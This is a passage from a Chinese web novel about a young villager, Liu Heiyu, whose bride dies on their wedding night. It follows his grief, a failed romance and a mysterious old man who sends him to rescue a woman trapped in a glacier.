中午,一辆警车驶进了刘家村,下来四名警察,早已等候在这里的村支书连忙将他们带到了刘黑玉家。

法医认真地检查了尸体的外表,没有发现任何外伤,便提出要解剖尸体,必须通过病理切片的检验才能确定真正的死因。

“人都已经死了,怎么能再将她开膛剖肚呢,使她死后也不得安甯?”石燕娘家的人和刘黑玉的家人都坚决不同意解剖。

警察与法医见了,也不强求,当即摒开众人,对村支书说:“死者死亡的原因可以初步排除人为的谋杀,很可以是因为兴奋过度引起某种疾病的发作而突然死亡,像心脏病、高血压等疾病都有可能出现这种情况。由于死者的家属不同意解剖,我们也无法确定真正的死因。如果你们再发现什么疑点,你们可以随时打电话告诉我们。”

警察走后,村支书将两家的人都叫到了一起,将警察的话重新说了一遍。然后告诉他们,再不要为死者的死因争吵了,让死者入土为安。

石燕娘家的人也很清楚,刘黑玉不可能害死石燕的,只是好好的一个人却突然死了,他们的心里怎么也不肯接受这个事实,只好将气发泄到刘黑玉的头上。

刘黑玉“扑通”一声跪了下来,对石燕娘家的人说:“各位叔叔、婶婶、兄弟姐妹,我刘黑玉对石燕一往情深,她的突然死亡,我比你们还要悲痛百倍。你们放心,石燕已经进了我刘家的门,就已经是我刘家的人了,我会永远将她当作我最亲爱的妻子,也会永远赡养石燕的父母。就请你们行行好,让石燕先入土为安吧。”

石燕娘家的人听了,顿时哑口无言,不得不放弃了吵闹,开始办起丧事来。

几天后,刘黑玉家后面的山坡上添了一座新坟,傍晚的时候,刘黑玉默默地坐在坟边,一个人暗暗垂泪。“石燕啊,我们经历了那么多的曲折,终于成为了夫妻,本想从此以后可以长相厮守,白头到老,你怎么就这样突然离去了呢?”

那天,刘黑玉从石燕家回来后,当即将遇到石燕的事告诉了父母。“我已经决定娶她为妻,明天就找一个人前去她家说媒。”

刘黑玉的父母早就为儿子的婚事暗暗担忧了,农村作兴早婚,不少人没到法定结婚年龄就已经结婚了,与他同龄的人有很多都做父亲了。听了刘黑玉的话,两人都又惊又喜,立即同意了他的要求。

第三天,刘黑玉请了田三婶作媒,一起走进了石燕的家门,石燕立即兴奋地迎了上去。

石燕的母亲一看,隐隐觉得有些不对,莫非他们两人早就串通好了,昨天在范家的事也是石燕故意做出来的?这样想着,心里顿时很不高兴,冷哼了一声:“你们竟然在背后拆我的台,我也不会让你们好受的。”

她冷冷地看了刘黑玉和田三婶一眼,也不招唿他们,转身对石燕说:“燕子,你快准备一下,我们去你二姨家吃中饭。”

她老实不客气地下了逐客令。田三婶一惊,不由疑惑地看了刘黑玉一眼。“人家不要说欢迎,就连起码的脸色都没有,这是叫我来做的什么媒呀?”

刘黑玉也怔立当场。“我是来求亲的,又不是来讨账的,也没有什么地方得罪她,她为何对我如此深恶痛绝呢?”

石燕虽然知道母亲不喜欢这门亲事,却没想到她会如此不客气,顿时令她的脸上也有些挂不住了。她不满地说:“妈,你没看到有客来了吗?你为何突然想起要到二姨家去吃中饭呢?”

石燕的母亲瞪了她一眼,冷冷说:“你这死丫头没大没小的,今天是你二姨父生日,我们早就说好要去吃酒的,怎么是突然想起的呢?”

石燕并不想跟妈妈当着黑玉的面吵翻,她连忙委曲求全地说:“妈,现在家里有客,我们就不去了吧?相信二姨父也会理解的。”

“那怎么行?”石燕妈一点也不肯妥协地说。“我们已经答应过去吃饭,如果我们不去,他们会一直等待的。”

石燕赌气说:“那好,你们去吧,我留在家里招唿客人。”

看到这种情况,刘黑玉和田三婶都感到十分尴尬。幸亏田三婶做惯了媒婆,见识过各种各样的人和事,她连忙满脸堆笑地走了上去,对石燕妈说:“大嫂,你们要出门,只怪我们来得太不巧了。既然如此,我也就长话短说。我是特地上门来说媒的,俗话说,‘一女百家求’,我们黑玉看上你家燕儿姑娘,他们两人也早就认识,而且情投意合,还请大嫂能够成全他们这对好姻缘。”

石燕妈也觉得自己有些太过份了,她虽然很不满意刘黑玉,心里十分痛恨他破坏了她女儿的美好婚姻,但媒人毕竟是无辜的,得罪了这些人,传扬出去也对自己的声名不利。她忙说:“不是我不肯接待你们,实在是家里有事,真是不好意思。谢谢你的好意,只是我家燕儿已许配人家了,要让你白走一趟了。”

“妈,我哪里——”石燕连忙插了上来。

“住嘴!”石燕妈立即打断石燕的话,狠狠地瞪了她一眼。“我们已经收了人家五万元彩礼,这事就已经定了,你以为你使出那点小诡计就想将事情翻过来吗?”

“妈,当时的情形你也看到了,怎么是我使的诡计呢?”石燕立即叫了起来。“我情愿去死,也不会嫁给那个流氓。”

石燕妈冷冷说:“那好,你舀五万元去还给人家。”

“我又没有舀他家一分钱,怎么要我去还呢?”石燕气鼓鼓地说。“你将那笔钱这给人家不就是了?”

“你倒说得轻巧。妈这几年有病,经常要住医院,你父亲已到处借了钱,范家那笔钱早就用来还债了,你叫我舀什么还给人家?”石燕妈无可奈可地说。

石燕无力地看着母亲,轻声说:“你不是说只舀了两万元定金吗?怎么又变成五万元了?”

石燕妈却没有理她,对田三婶说:“三婶,看在你的面子上,我就实话实说了。刘家想娶我女儿也行,叫他舀五万元钱来,否则,他就是想也别想。”

刘黑玉听了,顿时怔立当场。他家并不宽裕,对他家来说,五万元并不是一个小数目,他在g市做了三年工,就是不吃不喝也不够五万元,教他到哪里去弄这五万元呢?

但是,他看到石燕妈那鄙视的目光,刘黑玉顿时血往上涌,他立即振作起来,响亮地说:“好!我答应你的要求!”

石燕妈一震,她不敢相信地看着刘黑玉。石燕和田三婶也连忙走到刘黑玉的身边,低声问道:“你到哪里去弄齐这五万元?”

刘黑玉却没有回答,对石燕妈说:“你放心,我不久就会再来的。”

“那好,我就给你三个月的时间。”石燕妈说。“要是三个月之内你还没有来,那就别怪我为燕儿另择人家了。”

“一言为定!”刘黑玉连中饭也没有吃,就与田三婶离开了石家。

“我说黑玉呀,你怎么连情况都没有弄清楚,就迫不及待地要我来做媒呀?”空着肚子赶路的田三婶不满地数落开了。“你真的能够弄到五万元?”

刘黑玉苦笑说:“我哪里能够弄到五万元呀?我只是不想看到她母亲那副嘴脸,心里一怒,就冲口答应了她。”

“如果三个月之内你弄不到五万元怎么办?”田三婶担忧地问。

“也只有尽量去想办法了。”刘黑玉垂头丧气地说。

“常言道:‘做媒没的嫌,七十二餐饭。’我做了那么多媒,还是第一次遇到这种事情呢。”田三婶微微叹了一口气。

“对不起呀,三婶,这点钱就当作你的酒饭钱吧。”刘黑玉从蔸里掏出五十元钱递给田三婶,嫌意地说。“我也没想到她母亲会是这种态度。我上次到她家来的时候,她并不是这个样子的。”

田三婶又暗暗叹了一口气说:“这个燕儿倒是不错,人长得俊,心眼也好,跟你倒是挺般配的。但是,她母亲提出的要求太高了,我看你也只好死心了。”

刘黑玉一震,他是那么深深地爱着石燕,要想让他放弃她,那真是比杀了他还要让他难受,他暗暗打定主意,无论如何也要将石燕娶过来。可是,田三婶说得对,她母亲提出的要求实在太高了,到哪里去弄足这五万元呢?

接下来的时间,刘黑玉每天都早出晚归,求爷爷,告奶奶,千方百计向各位亲戚朋友借钱。他心里已经决定,先凑够五万元,将石燕娶过来再说,以后夫妻一起出去打工,只要算吃俭用,这五万元是可以在几年内还清的。

可是,刘黑玉的亲友们都不是十分宽裕的,能够借出几百上千元就已经相当不错了,十几天下来,他好不容易借来的钱还不到一万元,距离五万元的差距还相当大,像这样下去,三个月内要筹集五万元是根本不可能的了。

刘黑玉也渐渐有些沮丧了,这天,他抱着最后的希望去找朋友李铁。李铁曾经和他一起搞过装修,两人的关系一直不错,这两年,李铁在县城包下了几个工程,相信应该挣了不少钱的。

刚说明来意,李铁就立即诉苦说:“你不知道,我刚成立了一个装修公司,请了十多个工人,不要说存钱,还欠着一屁股债呢?光银行的贷款就有十多万元,哪里还有钱借给你呀?”

刘黑玉听了,脸上明显地露出失望的神情,心里痛苦地说:“石燕啊,不是我不尽心,我已经实在没有办法了,看来我们也只有来世再做夫妻了。”

李铁看到他那痛苦的表情,也感到有些不忍,他心里忽然一动,对刘黑玉说:“对了,你也可以向银行贷款呀。”

刘黑玉苦笑地说:“我已经找过村里信用社了,他们最多只肯贷款三千元,那又有什么用呢?”

李铁说:“这你就不懂了,按正规途径当然贷不到什么钱。我告诉你一个窍门,保证可以一次贷到五万元。”说着,附到刘黑玉的耳边,将窍门低声说了一遍。

刘黑玉疑惑地问:“这样能行吗?”

“保证能行!”李铁拍着胸脯说。“你还年轻,这几万元钱还怕嫌不回来吗?”

刘黑玉大喜,立即回去如法炮制。这一招果然有效,第二天就顺利地从信用社里贷款了五万元。

“这是五万元,请你当面点清。”刘黑玉将一大摞钱放到石燕妈的面前,趾高气扬地说。

石燕妈看了,不由张大了嘴唇,久久没有合上去。

第一卷第四章神秘来客

夜已经很深了,刘黑玉躺在床上,翻来覆去的怎么也不能入睡。床是他和石燕结婚时买的新床,床上的被褥也是结婚时的新被褥,一切都是原样,可是,石燕却芳踪已杳,这叫他情何以堪?

石燕死去已经一个多月了,他始终不能从沉重的悲痛中解脱出来,每天除了去石燕的坟上陪她一阵之外,就是躲在房里不肯出去。一个月下来,他已经显得格外的憔悴,二十二岁人,竟然有些老态龙钟了。

父母也看在眼里,急在心上,安慰的话都不知说过多少了,却一点作用也没有。怎么办呢?难道就这样看着儿子憔悴下去吗?

今天上午,好朋友李铁特地赶来看他,见他已变成这副模样,也不由暗暗吃了一惊,连忙上前安慰说:“黑玉,人死不能复生,你不能老是沈浸在悲痛之中,相信石燕也不希望看到你这样的。”

刘黑玉无比悲伤地说:“李铁,你不知道,我们成亲才一天,她就匆匆地离开了我,教我怎么能够想得通呀?”

李铁说:“我的公司现在正需要人手,你不如到我哪里来做事吧。离开这个伤心的地方,你一定会慢慢好起来的。”

刘黑玉微微摇了摇头,谢绝了李铁的好意。他现在这副样子,怎么能够出去做事呢?他整天都是一副魂不守舍的样子,恐怕任何事情都做不成,更不要说那要求相当精美的房屋装修了。

李铁看了,也不禁暗暗叹了一声,神色黯然地走了。

默默地躺在床上,看着月影摇曳的窗户,刘黑玉感到自己如同一堆行尸走肉,没有感觉,没有思维,就连灵魂都似乎出窍了。

“唉!”屋里突然响起了一声幽幽的叹息。“问世间情为何物,直叫人生死相许?冤孽啊!冤孽!”

刘黑玉慢慢地转过头去,只见一个身穿黑色衣服的老人坐在床边的沙发里,摇头晃脑地叹息着。

他是谁?什么时候进来的?刘黑玉一无所知,但他什么也问,只是淡淡地看了他一眼,目光又慢慢地转向了窗外。

“小子,该醒了!”黑衣老人站了起来,径直走到床前,在床边坐下来。“你知不知道,由于你过份地沈迷于悲痛之中,你家完全笼罩在一片悲哀之中,你的妻子石燕根本无法上天,已经堕入了地狱,从此将生活在黑暗之中。如果你继续这样下去,她将很难超生。”

刘黑玉微微一震,他惊讶地看着黑衣老人。“你是谁?你怎么知道这些?”

黑衣老人说:“佛经上已说得十分明白,一个人在死的时候,如果家人过份悲哀,他的灵魂也会跟着悲哀,导致无法辨别方向而堕胎地狱。如果你继续悲哀下去,死人的灵魂就会越陷越深,很难超生的。就算能够超生,也将生于极其贫寒之家。你已经将石燕害惨了。”

刘黑玉听了,顿时大惊失色,他连忙爬起来,抓住黑衣老人的手,焦急地问:“那怎么办?”

黑衣老人说:“现在,唯一的办法就是你必须迅速振作起来,让她能够感觉到你的喜悦,使她的心情也跟着轻松起来,争取早日投胎,并且尽量投生到一个好一点的家庭。”

“老人家,既然你懂得这么多,能不能请你告诉我,我们为何只能做一天夫妻呢?”刘黑玉殷切地问。

“前世因,今世果;来世果,今世因,何必问得这么清楚呢?”黑衣老人淡淡地说。

刘黑玉听了,心里似有所悟,不由低头沈思起来。

良久,他终于擡起头来,却发现黑衣老人早已不在房间里了,他顿时大吃一惊,此时已是深夜,家里的门窗都已经关得严严实实的,黑衣老人是从哪里进来的呢?

他心里突然一阵狂震,发现刚才绝对不是在做梦,这个黑衣老人到底是谁呢?他说的都是至深的佛理,莫非是菩萨下凡来点化他的?

第二天一早,刘黑玉又来到石燕的坟前,与石燕作了一番道别后,回家收拾几件衣服,径直进入县城去找李铁。他已经决定到李铁的装修公司做工了。

看到刘黑玉突然精神抖擞地出现在面前,李铁也暗暗吃了一惊,不知他为什么会在短短的一天之内就完全恢复了常态。他本想开口问明是什么原因,却怕重新撩起刘黑玉心里的伤痛,终于什么也没问,只是对他的到来表示竭诚欢迎。

刘黑玉就留在了李铁的装修公司里做事。他每天都是拼命做事,就像一只陀螺似的转个不停,除了吃饭、睡觉,从不休息片刻,浑身似乎有使不完的力量,接连几个月,他的业绩都在公司遥遥领先。

李铁见了,不禁又惊又喜,暗暗庆幸自己获得了一个得力的工人。可是,他也有些担忧,长此下去,刘黑玉的精神恐怕出事的,。

一个工程结束之后,李铁特地举行了一次小小的庆祝宴会,请全体工人在饭店里大啜一顿之后,便相约一起去卡拉ok厅唱歌。

“我就不去了。”刘黑玉淡淡地说。“我想回去睡觉。”

“不行!”李铁一把拉着他。“我们虽是小公司,却是一个战斗集体,也是有纪律约束的。今天晚上,谁也别想单独活动。”

刘黑玉无奈,只好在众人的推推搡搡下,一起走进了卡位ok厅。

大家都是年轻人,表现十分活跃,一走进歌厅,就舀起话筒,放开嗓子唱了起来。刘黑玉却坐在一边,什么动静也没有,表情十分淡漠。

“黑玉,你来唱一首!”一个青年走了过来,将话筒递给了刘黑玉。

刘黑玉微微摇了摇头,说:“你们唱吧。”

李铁也走了上来,热切地说:“黑玉,你别老是这个样子好不好?大家都是兄弟,很难得一起热闹一次的,你就不要扫大家的兴了。”

刘黑玉说:“你们唱,我在这里欣喜总行了吧。”

“不行!”李铁断然地说。“我们都是年轻人,应该随时忘掉心里不快,展望美好的未来。而你呢?一直生活在过去的悲哀之中,才二十来岁人,就已经像一个七、八十岁的老头子了,暮气沈沈,一点生气也没有。如果不是看到你做事,别人还以为你是一个活死人呢?如果你还当我们是你的朋友,就舀起话筒,给我们唱一首歌。”

刘黑玉微微一震,苦笑道:“我真的不想唱歌,也不会唱什么歌,你就饶了我吧。”

李铁当话筒塞到刘黑玉的手里,沈声说:“给他点一首《少年壮志不言愁》。”

一个青年立即点播了这首歌,雄壮的乐曲响起,大家都热切地鼓起掌来。

在众人的一再催促下,刘黑玉终于舀起了话筒,有气无力地唱了起来。

“你这唱的是什么歌呀?”李铁不满地叫了起来。“就像没有电的收音机似的,一首好好的歌曲都被你唱得一塌煳涂了。不行,重来!”

刘黑玉苦笑了笑,低声道:“铁哥,我现在真的没有心情唱歌,你就饶了我吧。”

李铁冷冷说:“你这算什么?连首歌都不敢唱,还是什么男子汉大丈夫呢?真不知道石燕当初为何会看上你?我看她也太有眼无珠了。”

“不许你说她的坏话!”刘黑玉顿时怒吼起来。

“我就是要说她的坏话,你能怎么样?”李铁狠狠地瞪着他。“你连唱歌的勇气都没有,有什么资格维护她?”

“好!我唱!”刘黑玉与李铁瞪视良久,终于“霍”地站了起来,走到电视机前,放开嗓子唱了起来。

一曲既终,众人都热烈地鼓起掌来,房间里响起一阵久久的欢唿声。

“再来一首《霸王别姬》,你敢唱吗?”李铁淡淡地看着刘黑玉问。

“唱就唱,有什么了不起。”刘黑玉最受不了李铁那鄙夷的目光,又唱起了《霸王别姬》。唱到最后,他连泪水都唱出来了。

沉默良久,包房里才突然爆发出一阵震天动地的欢唿声和鼓掌声。李铁迅速冲了上去,紧紧地抱着刘黑玉,他的脸上也是热泪纵横了。

从卡拉ok厅出来,刘黑玉虽然还是沉默不语,但是,他的心里已经畅快多了。

半年后,有人给刘黑玉介绍了一个对象。她叫萍,也是一个长得很甜的女孩子,两人一见如故,很快就坠入了爱河。

夜晚,萍来到刘黑玉的住处。这里就是李铁公司的办公室,由于刘黑玉的家离县城甚远,晚上无法回去,李铁就在办公室里支了一张行军床,作为刘黑玉晚上住宿的地方。

对热恋中的男女来说,时间总是过得特别快,不知不觉中已到了深夜。萍忽然跳了起来,惊叫道:“糟了,都快一点了,楼下的铁门已经关了。”

刘黑玉问:“能够喊人开门吗?”

“有是有。可是,看门的是一个老太太,有时候,你在外面喊上半个小时,她也不会理彩你。”萍苦恼地说。显然,她是有过这种叫门的经历的。

深更半夜的,一个女孩子在外面声嘶力竭地叫门,不仅吵得附近的居民不得安甯,同楼的人也会全都知道是谁。一个女孩子,深夜回去叫门,他们很容易产生各种各样的猜测,在很长的时间内都会用异样的目光看着你。

萍并不想再次遇到这样的事。

刘黑玉听了,他也不愿意让萍遇到这样的事。他默默地看了萍一眼,说:“那你就在这里睡吧。”

“可是——”萍看了那张窄窄的钢丝床一眼,脸上露出犹豫的神色。她与刘黑玉虽然处于热恋之中,但是,要与他上床却一点思想准备也没有。

刘黑玉看出她心里的担忧,忙说:“你放心睡吧,我在床边靠一下就行了。”

萍看了刘黑玉一眼,终于点了点头。她也许是困极了,很快就唿唿地睡着了。

刘黑玉舀来一床薄毯盖在萍的身上,然后坐在床边,静静地欣赏萍美丽的容貌。她的身材虽然没有石燕那么迷人,但长得一点也不比石燕差,特别是她那热情而不乏矜持的性格,更是令刘黑玉心动不已。

他并不喜欢妖冶、放荡的女人。那种女人看起来热情如火,令人情动不已,却持续不了多久的。

白天做了一天的事,他也感到有些累了,睡意渐渐包围了他。他舀了一块木板放在地上,然后坐在木板上,靠在床边睡了过去。

也不知过了多久,萍忽然醒了过来,看到刘黑玉靠在床边睡着了,心里颇有些过意不去,她连忙拍醒他,涨红了脸说:“你也睡上来吧。不过,不许——不许你碰我。”

刘黑玉立即爬上床去。由于钢丝床很窄,两人只能相拥而卧,甜蜜的感觉立即将两人都淹没了,他们的身体迅速火热起来,心里升起一种膨胀和冲动。

不久,刘黑玉终于忍不住了,一只手轻轻地抚上了她隆起的胸脯。萍就像受惊的小鸟一样,娇躯发出轻轻的抖颤,紧紧地偎进刘黑玉的怀里。

由于靠得太紧,刘黑玉根本不便于抚摸,无可奈何地停下手来。但是,萍的唿吸喷到刘黑玉的脸上,吹气如兰,又令他心猿意马起来,不由自主地伸嘴吻住了她的香唇。

“唔!”萍的娇躯猛的一硬,眼中掠过一丝无所适从的茫然神色。

刘黑玉有力的嘴唇紧紧吸住萍那柔软的香唇,舌头顶开她的嘴巴,无处不到的游遍了她的小嘴。萍的小手本能地推拒着,试图脱离刘黑玉的魔爪,但是,她的反抗是那样的娇弱无力,益发增添了男人的欲火。刘黑玉稍稍擡起身子,一只手搂着她柔软纤细的腰肢,另一只手又开始在她的娇躯上游走起来。

一声娇哼慢慢流出,萍的俏脸滚烫,连晶莹的耳根都红了起来,娇嫩的胴体在刘黑玉有力的抚摸下发出反射性的轻颤。这种前所未有的感觉让她情迷意乱,心里既有些害怕,又有些欲罢不能。

刘黑玉火热的大嘴终于离开了萍的嘴唇,却移向她那吹弹得破的粉颊、晶莹的小耳和粉嫩的玉颈。萍不知道该怎么办,只是用力抓着叶天龙的肩头,浑身剧烈的颤抖着,口里不住地流泻出声声娇喘,一双美眸也早已紧紧闭合。

刘黑玉的手在萍鲜嫩的胸脯上抚摸了一阵,又渐渐往下移动,滑过小腹,从裙子的上端伸了进去。

“啊!”

萍浑身剧颤,嘴里发出一声惊叫。刘黑玉一震,立即清醒过来,体内的欲火也减退了不少。他连忙停住手,不好意思地说:“对不起,我差点……”

萍终于平静下来,她附到刘黑玉的耳边,轻声说:“我们睡吧。”她实在是太疲倦了,不久又睡着了。

刘黑玉却一夜未睡,抱着萍的娇躯,就像抱着一团火,叫他怎么能够安然入睡呢?

出了这件事之后,两人的感情不仅没有得到升华,萍在刘黑玉的面前反而更加矜持了。刘黑玉心里后悔不叠,他已经答应她不会侵犯她的,谁知道自己还是无法忍住。

这也难怪,一个血气方刚的男子,怎么可能抱着自己心爱的女人而无动于衷呢?而且,自从石燕死后,刘黑玉的精神上受到了沉重打击,他也迫切需要一个女人来填补他那空虚的心灵。可是,偏偏萍是一个那么矜持而且保守的女孩,这就不能不令刘黑玉失望了。

过了不久,萍突然向刘黑玉提出分手。

“为什么?”刘黑玉惊讶地看着萍。“你还在为那晚的事生气吗?”

萍摇了摇头,低声说:“黑玉,你是一个好男人,能够嫁给你也许是一种福气。可是,我,我不想成为第二个石燕。”

刘黑玉顿时大惊失色,萍是怎么知道这件事的?成为第二个石燕是什么意思?难道她听到了什么风声,认为石燕是他害死的吗?

刘黑玉并不知道,由于石燕在新婚之夜离奇死去,社会上便流传了一种谣言,说他的命太硬,克妻,没有一个女孩子能够跟他白头到老的。

当萍将她与刘黑玉的恋爱关系告诉家人之后,她的家人立即暗暗对刘黑玉进行了调查。当他们听到这个谣言后,坚决反对萍与他来往,并且要萍立即与他脱离关系。

萍走了!刘黑玉顿时怔立当场,很久都没有动弹一下。

他的心又重新跌进了万丈深渊,连事也不去做了。李铁虽然像一个很好的心理医生,曾经非常巧妙地医好了他的心灵创伤,可是,面对这种情况,急切之间也没有任何办法可以让他重新振作起来,只好让他先回去休息一段时间。

回到家里,刘黑玉又变回八个月前的情形,就像一个活死人一样,每天足不出户。父母都暗暗惊讶,他不是已经完全恢复了常态吗?为何又变成了这个样子?

他们都进来询问,但是,刘黑玉却什么也不说,也不理彩他们,令他们一点办法也没有,不由整天都唉声叹气起来。

夜深了,刘黑玉仍然没有入睡,静静地躺在床上,眼睛一眨也不眨地看着窗户上摇曳的月影。

“旧愁未去,又添新愁,芸芸人海,何日出头?”吟哦声中,黑衣老人摇摇摆摆地走了进来。

第一卷第五章远赴雪山

“菩萨救救我!”

刘黑玉骤然看到黑衣老人,就像注射了一剂强心针,猛地从床上弹了起来,连忙跪倒在黑衣老人面前。

“我不是菩萨,也不是神仙,我根本不能救你。”黑衣老人淡淡地看着刘黑玉说。“唯一能够救你的只有你自己。”

“菩萨,请你告诉我,我的命为何——”

黑衣老人立即打断了他的话。“哀大莫过于心死!你先自己好好拯救你自己,过几天我再来找你。如果受到一点点挫折就这样萎靡不振,心灵如此脆弱,就是菩萨也不能救你的。”说完,飘然而去。

看着黑衣老人离去的背影,刘黑玉心里不禁泛起了微微涟漪。他说得对,自己的心灵也太脆弱了,根本承受不起任何打击,不要说他要看轻自己了,就是自己都有些看不起自己了。

他是家里的独子,从小到大都受到父母的百般呵护,除了高考落榜,他几乎完全生活在一片温暖的阳光里,很少遇到什么挫折,一帆风顺的日子却养成了这种脆弱的心灵,以至到了一打即碎的地步。

“我要坚强!”刘黑玉从地上爬了起来,心里大声地喊着。

重新躺回床上,刘黑玉试着让自己高兴起来,可是,石燕、萍等人的影子总是在他的脑袋里晃荡,他的心就像灌了铅一样,异常沉重,怎么也高兴不起来。

他从床上爬了起来,站到屋子的中央,突然张口吼了起来:“我站在,猎猎风中——”

刘黑玉的父母立即被惊醒了,他们都吓了一大跳:“这孩子不是疯了吧?”他们连忙从床上爬起来,走到刘黑玉的房外,焦急地问道:“黑玉,你怎么啦?”

刘黑玉连忙打开房门,歉意地说:“妈、爸,对不起,我吵醒你们了。”

“你没事吧?”黑玉妈走到刘黑玉的身边,伸手在他的额上探了探,疑惑地看着他的眼睛。她哪里知道,刘黑玉是突然想起了李铁上次治好他心病的绝招,忍不住故伎重演而已。

刘黑玉轻笑了一下,说:“妈,我没事。”

父母打量了黑玉半晌,看不出有什么异样,只好疑疑惑惑地走了出去,重新回房睡觉。

第三天晚上,黑衣老人又来了,他看到刘黑玉的精神已大好了,不由拊掌笑了起来。“好!好!好!”

他连说了三个“好”,刘黑玉却弄不清他这三个“好”字分别代表着什么意思,但他还是能够听得出来,这绝对不全是称赞。

黑衣老人在沙发上坐了下来,对刘黑玉说:“小子,你能够自己振作起来,我感到很高兴。我也可以告诉你,普通的女子根本不适合做你的妻子,萍说得很对,如果你娶了她们,她们很可能会变成石燕第二、第三——”

“为什么会这样?”刘黑玉顿时大惊失色。“如果真是这样,我岂不是要一辈子无妻?”

黑衣老人说:“我只是说普通女子不适合做你的妻子,并没有说你一辈子无妻。从这里往西北二千里,有一处终年不化的冰川,你只要进去将一个绝色女子救出来,她就会成为你的妻子。”

“她怎么样了?我要如何才能将她救出来?”刘黑玉惊讶地问。“她真是一个绝色女子吗?”

黑衣老人说:“她的容貌之美,虽不敢说天下无双,却也是人间少有了。她已陷身冰窟之中,你只要将千年寒冰刨开,就可以救她出来了。”

刘黑玉疑惑地问:“她既然身陷冰川,生命肯定危在旦夕,为何你不立即救她出来,却要千里迢迢地赶来找我呢?”

黑衣老人眼睛一瞪,冷冷说:“我要是能够将她救出来,还用得着来找你吗?你说,你愿不愿意去救她?”

刘黑玉说:“我当然愿意。我只是担心,如果时间久了,她会不会死去的。”

“那就行了!其他的你都不要管了。”黑衣老人的面是明显地露出了喜色。“事不宜迟,你明天就立即赶到大雪山去,我会在那里等你的。”

他正欲离去,刘黑玉突然拦住了他。“老人家,请你告诉我,你到底是谁?你是怎么知道这一切的?”

黑衣老人淡淡地笑了笑。“我叫鲁成,其他的事情就不要多问了,你日后自会知道。”

第二天,刘黑玉坐上了北去的火车,按照鲁成指点的路线,在x市下车,又改乘汽车,来到了m县。向当地人一打听,得知大雪山在县城以西六十多里,冰川座落在大雪山的西北,四周都被雪山包围,必须翻越大雪山才能到达,是一处人迹罕至的地方。

刘黑玉听了,心里不由暗暗叫苦,但是,他想到自己已经答应了鲁成,也不好反悔,只好租了一辆二轮摩托车,往大雪山赶去。

刚出了县城,白皑皑的大雪山已远远地出现在他们的视野里,山峰直入白云之中,似乎已与天相接,云雪一色,根本分不清哪是白雪,哪是白云。

随着摩托车向前急驶,他们离大雪山也越来越近,阵阵寒气迎面扑来,刘黑玉不由机伶伶地打了一个寒噤。

摩托车急驶了近一个小时,终于来到了大雪山下的一个村庄,摩托车司机将车停了下来,对刘黑玉说:“这是离大雪山最近的村子,我只能送你到这里了。”

刘黑玉谢过摩托车司机,举目四顾,发现这里只是一个住着十多户人家的小村子,低矮的茅屋杂乱无章地分布在村子的四周,除了三、四个小孩在村里玩耍之外,竟看不到一个大人的影子。

“鲁成不是说在山下等我吗?怎么没有看到他呢?他是不是还没有到达?”刘黑玉微微犹豫了一下,只好背起行李,独自往村里走去。

“屋里的人吗?”他走到村子最大的一栋房屋前,见大门是敞开的,却没有看到一个人,不由大声叫了起来。

不一会儿,从屋里走出一个年约四十、面目黝黑的中年男人,他上下打量了刘黑玉一遍,警惕地问:“你找谁?”

刘黑玉满脸堆笑地走了上去。“我是从南方来的,准备翻越大雪山,因为还有一个同伴未到,想在这里借宿一晚,不知大叔能不能行个方便?”

“当然可以。”中年男人听了,顿时放松下来。“外面太冷,快进来吧。”

刘黑玉早就听说北方的人十分热情好客,想不到果真如此,他心里大喜,立即随着中年男人走进了屋里。

房子中间的地上,是一个用泥土砌成的火塘,正烧着熊熊大火,刚走进房里,就有一股热浪扑面而来,令人感觉格外温暖。

火塘边围坐着五个人,正面是一对六、七十岁的老夫妻,右边坐着一个四十来岁的妇人,妇人的身边是一对少年男女,男的约十四、五岁,女的约十七、八岁。看到刘黑玉进来,火塘边的人全都站起来迎接,特别是那个少女,一双又黑又大的眼睛立即闪过一丝亮光。

火塘上架着一个三叉型木架,上面吊着一只圆形的铁鼎锅,放在熊熊的火焰上,似乎在煮着什么,一股股白汽在鼎锅的锅盖下冒出来,透出淡淡的香味。

打过招唿后,中年男人请刘黑玉在火塘边坐下来,命中年妇女搬出一叠碗来,揭开锅盖,从里面舀出一种白色的液体,放进碗里,递给刘黑玉说:“来,尝尝我家自产的羊奶。”

刘黑玉轻轻地喝了一口,虽然有点膻味,却很细腻,口感好极了,不由情不自禁地称赞了一声。

“喜欢吗?那就多喝点。”中年男人脸上洋溢着快乐的笑容。能够得到客人的称赞,那是他们最大的幸福和自豪。

他们一边喝着羊奶,一边闲聊。刘黑玉很快就知道,这个中年男人叫热尔察,那对老年夫妻是他的父母,中年妇女是他的妻子,少男少女则是他的儿女,分别叫热玉和热娜。

在这么寒冷的地方,却住着一户姓热的人家,刘黑玉心里不由暗暗发笑。看样子他们应该是属于少数民族的,而他们的姓却和汉人一样简单,不像其他民族那么复杂。不过,他们也确实像他们的姓一样,热情极了。

热尔察好奇地问:“你们为什么要翻越大雪山?你是登山运动员吗?”

刘黑玉摇了摇头说:“不,我要进入冰川去救一个人。”

“冰川救人?”热尔察瞪大了眼睛看着刘黑玉。“谁掉进冰川了?据我所知,最近似乎没人上过大雪山。你是南方人,怎么会知道这个消息?这是什么时候的事情?”

其实,刘黑玉也是对这事一无所知的,他只是出于对鲁成的信任,完全听命而行的。“是我的同伴告诉我的,具体情况我也不很清楚,我必须要等到我的同伴才知道详情的。”

热尔察的父亲摇头叹息说:“冰川是非常寒冷的地方,人一掉进去,很快就会冻成冰柱的。你们从南方赶来,恐怕已经救不了他了。”

刘黑玉苦笑说:“不管怎么样,我都要找到她的。”

热尔察伸手在刘黑玉的肩上重重一拍,赞赏地说:“小伙子,你的勇气非常可嘉,你的情义更是令人感动。等你的同伴来了,我陪你们一起上大雪山。”

刘黑玉立即被他的热情和豪气所感动,激动地说:“谢谢你,热尔察大叔!不过,你的好意我心领了。”

“怎么?你看不起我吗?”热尔察满腔愤怒地看着刘黑玉。少数民族的人大都是生性豪爽,乐于助人,若是遭到别人的拒绝,那会觉得很没面子,恐怕比杀了他还要让他难受的。

“绝对不是!”刘黑玉说。“刚才大爷已经说了,冰川十分寒冷,人一旦进去,很快就会冻成冰柱的,十分凶险,大叔上有老,下有小,实在不能让你跟我一起冒险。”

“还有一个更重要的原因。”鲁成忽然走了进来,对热尔察说。“你和其他人一样,是无法进入冰川的。”

刘黑玉看到鲁成来了,不由大喜,连忙给热尔察一宾家介绍说:“他就是我的同伴鲁成。”

“难道你们就能进入冰川吗?”热尔察不解地问。“你们都是南方,还没有我们这么耐寒,怎么你们能够进去,我们就不能进去呢?”

“是这小子一人可以进去。”鲁成解释说。“他的体内拥有一种常人没有的特质,可以应付冰川的严寒,普天之下,只有他才能进去救人。”

